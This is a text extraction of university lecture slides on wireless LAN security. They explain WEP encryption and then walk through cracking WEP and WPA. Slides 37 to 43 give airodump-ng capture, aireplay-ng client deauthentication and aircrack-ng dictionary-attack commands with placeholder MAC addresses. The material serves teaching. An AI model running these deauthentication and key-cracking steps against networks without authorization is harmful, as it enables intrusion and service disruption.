45
1 WLAN Security: Cracking WEP/WPA รศ. ดร. อนันต์ ผลเพิ่ม Assoc. Prof. Anan Phonphoem, Ph.D. [email protected] http://www.cpe.ku.ac.th/~anan Computer Engineering Department Kasetsart University, Bangkok, Thailand Wireless LANs

WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

  • Upload
    others

  • View
    7

  • Download
    0

Embed Size (px)

Citation preview

Page 1: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

1

WLAN Security: Cracking WEP/WPA

รศ. ดร. อนันต์ ผลเพิม่

Assoc. Prof. Anan Phonphoem, Ph.D. [email protected]

http://www.cpe.ku.ac.th/~anan

Computer Engineering Department

Kasetsart University, Bangkok, Thailand

Wireless LANs

Page 2: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

WEP Block Diagram

2

WEP Frame

Integrity Algorithm (CRC-32)

Pseudo-Random Number Generator

RC-4

+

Bitwise XOR

Plain Text

Cipher Text

Integrity Check Value (ICV)

Key Sequence

Secret Key (40-bit or 128-bit)

Initialization Vector (IV)

IV

Encryption Block

Sender Site

Integrity Algorithm

Pseudo-Random Number Generator

Bitwise XOR

Cipher Text

Plain Text

Integrity Check Value (ICV)

Key Sequence

IV

Secret Key (40-bit or 128-bit)

Decryption Block

Receiver Site

Page 3: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

3

WEP – Encoding

Integrity Algorithm (CRC-32)

Pseudo-Random Number Generator

RC-4

+

Bitwise XOR

Plain Text

Cipher Text

Integrity Check Value (ICV)

Key Sequence

Secret Key (40-bit or 128-bit)

Initialization Vector (IV)

IV

Page 4: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

4

WEP Frame

Frame Header

IV Header

Frame Body ICV

Trailer FCS

Encrypted Clear Text Clear Text

4 bytes 4 bytes

Page 5: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

5

WEP – Decryption

Integrity Algorithm

Pseudo-Random Number Generator

Bitwise XOR

Cipher Text

Plain Text

Integrity Check Value (ICV)

Key Sequence

IV

Secret Key (40-bit or 128-bit)

Page 6: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Cracking WEP

6

Page 7: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

7

Cracking Steps

1) Reconnaissance (Collect target info.) [kismet]

2) Run promiscuous mode [iwconfig, airmon]

3) Collect data [airodump]

4) Crack key [aircrack]

Page 8: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

8

Default SSIDs

Page 9: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

9

1) Reconnaissance (Collect target info.)

Page 10: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

10

Kismet (Reconnaissance)

Page 11: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

11

Kismet (AP Info.)

Page 12: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

12

Kismet (Client Info.)

Page 13: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

13

2) Run promiscuous mode

Page 14: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

14

1 2

3 4

Regular Behavior

Station 1 transmits to all (broadcast)

Page 15: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

15

1 2

3 4

Intention to Eavesdrop

Promiscuous

mode

Station 1 transmits to station 4

Page 16: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

16

iwconfig

Page 17: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

iwlist

17

Page 18: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Promiscuous Mode Setup

• By using iwconfig

18

Page 19: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Promiscuous Mode Setup

• By using airmon-ng

19

Page 20: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Promiscuous Mode Setup

20

Page 21: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

21

3) Collect data

Page 22: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

22

airodump

From Kismet

Page 23: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Airodump problem

root@APMoose:~/toulouse# airodump-ng mon0

ioctl(SIOCSIFFLAGS) failed: Operation not possible due to RF-kill

/dev/rfkill is “Linux ‘s Subsystem kernel for controlling radio transmisster (activated/deactivated)”

anan@APMoose:~$ rfkill list

0: phy0: Wireless LAN

Soft blocked: no software can reactivate

Hard blocked: no software cannot reactivate

1: acer-wireless: Wireless LAN

Soft blocked: no

Hard blocked: no

2: acer-bluetooth: Bluetooth

Soft blocked: no

Hard blocked: no

4: hci0: Bluetooth

Soft blocked: no

Hard blocked: no

Solve by:

root@APMoose:~/toulouse# rfkill unblock all

23

Page 24: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

24

airodump

Page 25: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

25

airodump data files

Page 26: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

26

4) Crack Key

Page 27: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

aircrack

• For non-encryption

27

Page 28: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

28

aircrack

Page 29: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

29

WEP Cracking Demo

Page 30: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Cracking WPA

30

Page 31: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Cracking Steps

1)Start the wireless interface in monitor mode on the specific AP channel

2)Start airodump-ng on AP channel with filter for bssid to collect authentication handshake

3)Use aireplay-ng to deauthenticate the wireless client

4)Run aircrack-ng to crack the pre-shared key using the authentication handshake

31 http://www.aircrack-ng.org/doku.php?id=cracking_wpa

Page 32: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

32

1) Start Monitoring Mode

Page 33: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Check interface

33

Page 34: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

iwconfig

34

Page 35: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Start monitoring mode

35

Page 36: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

36

2) Start airodump-ng collect authentication handshake

Page 37: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Start airodump-ng

37

Moose# airodump-ng -c 6 --bssid 00:1E:F7:xx:xx:xx -w psk mon0

Parameter Description

-c 6 Wireless channel

--bssid 00:1E:F7:xx:xx:xx AP’s MAC

-w psk File name prefix (contain Ivs)

mon0 Interface name

Page 38: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Start airodump-ng less parameter

38

Moose# airodump-ng -w psk mon0

Page 39: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

39

3) Deauthenticate client

Page 40: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

aireplay

40

Moose# aireplay-ng -0 1 -a 00:12:01:xx:xx:xx -c 00:23:11:xx:xx:xx mon0

Parameter Description

-0 deauthentication

1 # deauthentication sent

-a 00:12:01:xx:xx:xx AP’s MAC

-c 00:23:11:xx:xx:xx Deauthing client’s MAC-

mon0 Interface name

Page 41: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

41

4) Crack

Page 42: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Need a dictionary

42

Moose# aircrack-ng –b 00:12:01:xx:xx:xx -psk*.cap

Page 43: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

With dictionary

43

Moose# aircrack-ng -w password.lst -psk*.cap

Page 44: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Handshake found

44 http://www.aircrack-ng.org/doku.php?id=cracking_wpa

Page 45: WLAN Security: Cracking WEP/WPAanan/myhomepage/wp-content/...aircrack • For non-encryption 27 28 aircrack 29 WEP Cracking Demo Cracking WPA 30 Cracking Steps 1) Start the wireless

Successfully Crack

45 http://www.aircrack-ng.org/doku.php?id=cracking_wpa